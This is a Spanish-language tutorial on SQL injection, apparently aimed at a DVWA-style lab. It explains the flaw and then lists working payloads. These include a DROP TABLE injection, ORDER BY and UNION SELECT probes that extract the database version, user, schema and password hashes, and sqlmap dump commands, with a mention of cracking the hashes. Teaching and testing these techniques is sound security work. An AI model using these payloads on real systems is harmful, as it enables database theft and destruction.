Un ataque por inyección SQL consiste en la inserción o “inyección” de una consulta SQL por medio de los datos de entrada desde el cliente hacia la aplicación.
Un SQLi exitoso puede leer información sensible desde la base de datos, modificar la información (Insert/ Update/ Delete), ejecutar operaciones de administración sobre la base de datos (tal como parar la base de datos), recuperar el contenido de un determinado archivo presente sobre el sistema de archivos del DBMS y en algunos casos emitir comandos al sistema operativo.
El origen de la vulnerabilidad radica en el incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL.
Por ejemplo, en el siguiente código se ejecuta una consulta recibiendo como parámetro “nombreUsuario”.
Código SQL vulnerable:
consulta := “SELECT * FROM usuarios WHERE nombre = ‘” + nombreUsuario + “‘;”
Si se escribe un nombre la aplicación generará una sentencia SQL similar a la siguiente, donde se seleccionaran todos los registros con el nombre “IronMan” en la base de datos:
SELECT * FROM usuarios WHERE nombre = 'IronMan';
Pero si escribimos:
IronMan’; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE ‘%
Se generaria la siguiente consulta SQL:
SELECT * FROM usuarios WHERE nombre = 'IronMan'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%';
En resumen, cualquier dato de la base de datos puede quedar disponible para ser leído o modificado por un usuario malintencionado.
Explotacion de SQLi:
La primera prueba que podemos hacer para detectar si una pagina es vulnerable sera añadir ‘ a la URL:
http://www.ejemplo.com/usuarios.php?id=3
http://www.ejemplo.com/usuarios.php?id=3′
Si esta URL nos da error del tipo:
You have an error in your SQL syntax;
nos da una pista de que ese parámetro puede ser vulnerable.
Esto se debe a que la sentencia SQL que tenia que tener la siguiente forma:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
nos queda así, provocando una mala formación de la sentencia y por eso produce error:
SELECT first_name, last_name FROM users WHERE user_id = '$id''
A continuación vamos a buscar información sobre la base de datos. Lo primero sera saber la cantidad de campos que devuelve la sentencia SQL, por lo que vamos a ir ordenando los campos hasta que nos de error con order by y entonces sabremos cuantos campos tenemos.
* Finalizamos con una almohadilla (#) para comentar el resto de la sentencia sql y evitar que nos de el error de sintaxis.
-
http://www.ejemplo.com/usuarios.php?id=1′ order by 1#
- No nos da error.
-
http://www.ejemplo.com/usuarios.php?id=1′ order by 2#
- No nos da error.
-
http://www.ejemplo.com/usuarios.php?id=1′ order by 3#
- Nos da error el siguiente error:
-
Unknown column ‘3’ in ‘order clause’
Así que esta base de datos tiene 3 columnas.
Sabiendo el numero de campos, vamos a intentar ver información de estos usando UNION:
http://www.ejemplo.com/usuarios.php?id=1′ union select all 1,2#
http://www.ejemplo.com/usuarios.php?id=1′ union select all 1,2/*
http://www.ejemplo.com/usuarios.php?id=1′ union select all 1,2–
* Si no nos funciona, podemos cambiar la almohadilla por /* ó —
El siguiente paso sera ver la version de mysql, con la cual podremos comprobar si podemos usar alguna vulnerabilidad o exploit.
http://www.ejemplo.com/usuarios.php?id=1′ union select all version(),2#
http://www.ejemplo.com/usuarios.php?id=1′ union select all @@version,2#
Luego no estaría mal obtener que usuario tiene en la base de datos, porque si nos encontramos con la suerte de que es root nos permitirá acceder a toda la información de las diferentes bases de datos.
http://www.ejemplo.com/usuarios.php?id=1′ union select all user(),2#
Y por supuesto necesitamos saber cual es el nombre de nuestra base de datos para poder realizar las siguientes consultas y sacar la información jugosa.
http://www.ejemplo.com/usuarios.php?id=1′ union select all database(),2#
Ademas para buscar el resto de bases de datos de el sistema:
http://www.ejemplo.com/usuarios.php?id=1′ union select null,table_schema from information_schema.tables#
Para poder continuar con nuestro ataque necesitamos saber las tablas que tiene nuestra base de datos y las columnas de dichas tablas, esta información se almacena en la tabla _information_schema _desde la versión 5.0.2 de mysql
http://www.ejemplo.com/usuarios.php?id=1′ union select null, table_name from information_schema.tables WHERE table_schema=’dvwa’#
Ahora que tenemos las tablas vamos a buscar la información de la tabla que mas nos interesa a todos que al final es la de usuarios para ver si podemos acceder a sus contraseñas.
http://www.ejemplo.com/usuarios.php?id=1′ union select null, column_name from information_schema.columns WHERE table_name=’users’#
Una vez tenemos toda la información necesaria solo nos queda recopilarla:
http://www.ejemplo.com/usuarios.php?id=1′ union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#
Una vez tenemos los hashes de los usuarios podemos intentar crackearlos.
Para los casos en los que nos encontramos con paginas así:
Podemos utilizar SqlMap y Burpsuite para hacernos mucho mas fácil la explotación:
Con burpsuite interceptamos la request:
Lo copiamos en un fichero (nos añade saltos de linea, que tenemos que quitar) que quedaria asi:
O simplemente usamos la opcion ‘Save item’ de BurpSuite.
Ahora podemos usar sqlmap:
sqlmap -r sqli.req --tables sqlmap -r sqli.req -D dvwa -T users --dump
Ademas sqlmap incluye una utilidad que nos permitira crackear los hashes que encontremos con solo indicarle qué diccionario usar. En este caso hemos usado el rockyou.txt :
SQLi Blind
El SQLi Blind, se considera un ataque a ciegas, es decir no tenemos errores ni información por parte del servidor, se pueden dar dos casos:
- Blind normal: Donde obtenemos respuestas True/False en función del resultado de la consulta SQL, dichos cambios son visibles en la pagina.
- Time-base blind: Sin cambio para la salida de la condición True/False
Para SQLi Blind se recomienda usar sqlmap o herramientas similares que automaticen el trabajo ya que es una tarea realmente pesada.
Herramientas: SqlMap
BurpSuite
Referencias:
‘or ‘1’=’1